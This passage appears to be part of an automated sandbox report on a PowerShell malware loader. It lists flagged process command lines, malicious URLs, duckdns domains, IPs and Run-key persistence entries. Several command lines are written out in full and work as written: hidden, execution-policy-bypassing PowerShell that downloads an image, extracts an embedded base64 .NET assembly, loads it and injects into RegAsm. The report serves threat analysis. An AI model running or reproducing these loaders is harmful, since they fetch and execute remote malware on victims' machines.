TreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreHQDgTreeDgTreB0DgTreC4DgTreYwBjDgTreGMDgTreZQByDgTreC8DgTrecwBjDgTreC8DgTreegBuDgTreC4DgTreZQBuDgTreGkDgTreZDgTreBsDgTreGEDgTrecgBlDgTreGcDgTreeQBhDgTreHQDgTrecwDgTrevDgTreC8DgTreOgBzDgTreHDgTreDgTredDgTreB0DgTreGgDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreDEDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreEMDgTreOgBcDgTreFDgTreDgTrecgBvDgTreGcDgTrecgBhDgTreG0DgTreRDgTreBhDgTreHQDgTreYQBcDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBvDgTreHYDgTreYQDgTrenDgTreCwDgTreJwBSDgTreGUDgTreZwBBDgTreHMDgTrebQDgTrenDgTreCwDgTreJwDgTrenDgTreCkDgTreKQB9DgTreCDgTreDgTrefQDgTre=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
malicious
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreHQDgTreeDgTreB0DgTreC4DgTreTDgTreBJDgTreFIDgTreUDgTreBBDgTreFYDgTreSDgTreDgTrevDgTreHMDgTreYwDgTrevDgTreHoDgTrebgDgTreuDgTreGUDgTrebgBpDgTreGQDgTrebDgTreBhDgTreHIDgTreZQBnDgTreHkDgTreYQB0DgTreHMDgTreLwDgTrevDgTreDoDgTrecwBwDgTreHQDgTredDgTreBoDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwDgTrexDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBDDgTreDoDgTreXDgTreBQDgTreHIDgTrebwBnDgTreHIDgTreYQBtDgTreEQDgTreYQB0DgTreGEDgTreXDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTrebwB2DgTreGEDgTreJwDgTresDgTreCcDgTreUgBlDgTreGcDgTreQQBzDgTreG0DgTreJwDgTresDgTreCcDgTreJwDgTrepDgTreCkDgTrefQDgTregDgTreH0DgTre';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
malicious
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.cccer/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'ova','RegAsm',''))} }"
malicious
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.LIRPAVH/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'ova','RegAsm',''))} }"
malicious
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\ova.vbs"
 malicious
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\ova.vbs"
 malicious
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
 malicious
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
 malicious
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
 malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
There are 14 hidden processes, click here to show them.

URLs

Name
IP
Malicious
https://staygeraldine.nz/cs/xwapri.txt
185.184.154.65
 malicious
http://geoplugin.net/json.gp
178.237.33.50
 malicious
https://staygeraldine.nz/cs/HVAPRIL.txt
185.184.154.65
 malicious
https://uploaddeimagens.com.br
unknown
 malicious
https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029
172.67.215.45
 malicious
https://staygeraldine.nz/cs/reccc.txt
185.184.154.65
 malicious
http://app01.system.com.br/RDWeb/Pages/login.aspx
unknown
 malicious
https://pastebin.com/raw/KiVfSXMq
172.67.19.24
https://pastebin.com/raw/zQdp8jhj
172.67.19.24
http://crl.microsoft
unknown
http://staygeraldine.nz
unknown
https://go.microsoft.coB
unknown
https://pastebin.com/v
unknown
https://aka.ms/pscore6
unknown
http://app01.system.com.br/RDWeb/Pages/login.aspx1
unknown
http://crl.microsoftx
unknown
https://pastebin.com/raw/eEY9exCe
172.67.19.24
https://pastebin.com/raw/KiVfSXMq(
unknown
https://aka.ms/pscore6lBsq
unknown
http://app01.system.com.br/RDWeb/Pages/login.aspxd
unknown
http://app01.system.com.br/RDWeb/Pages/login.aspx&
unknown
https://pastebin.com/raw/KiVy
unknown
https://pastebin.com/raw/eEY9exCeu
unknown
http://app01.system.com.br/RDWeb/Pages/login.aspx_Gen
unknown
https://pastebin.com/_J-
unknown
https://pastebin.com/raw/KiVfSXMqB
unknown
https://aka.ms/pscore68
unknown
https://pastebin.com/
unknown
https://pastebin.com/raw/eEY
unknown
http://crl.microu
unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
unknown
https://pastebin.com/raw/KiV
unknown
https://pastebin.com/raw/eEY9exCerY
unknown
http://crl.v
unknown
https://staygeraldine.nz
unknown
https://pastebin.com/raw/zQdp8jhjJ
unknown
https://pastebin.com/raw/eEYi
unknown
There are 27 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
staygeraldine.nz
185.184.154.65
 malicious
hvaprinew850.duckdns.org
12.221.146.138
 malicious
aprilxrwonew8450.duckdns.org
12.221.146.138
 malicious
uploaddeimagens.com.br
172.67.215.45
 malicious
remco8100.duckdns.org
12.221.146.138
 malicious
geoplugin.net
178.237.33.50
pastebin.com
172.67.19.24

IPs

IP
Domain
Country
Malicious
185.184.154.65
staygeraldine.nz
United Kingdom
malicious
12.221.146.138
hvaprinew850.duckdns.org
United States
malicious
172.67.215.45
uploaddeimagens.com.br
United States
malicious
172.67.19.24
pastebin.com
United States
178.237.33.50
geoplugin.net
Netherlands

Registry

Path
Value
Malicious
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Path
 malicious
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Path
 malicious
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileDirectory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileDirectory
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
FileDirectory
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
EnableFileTracing
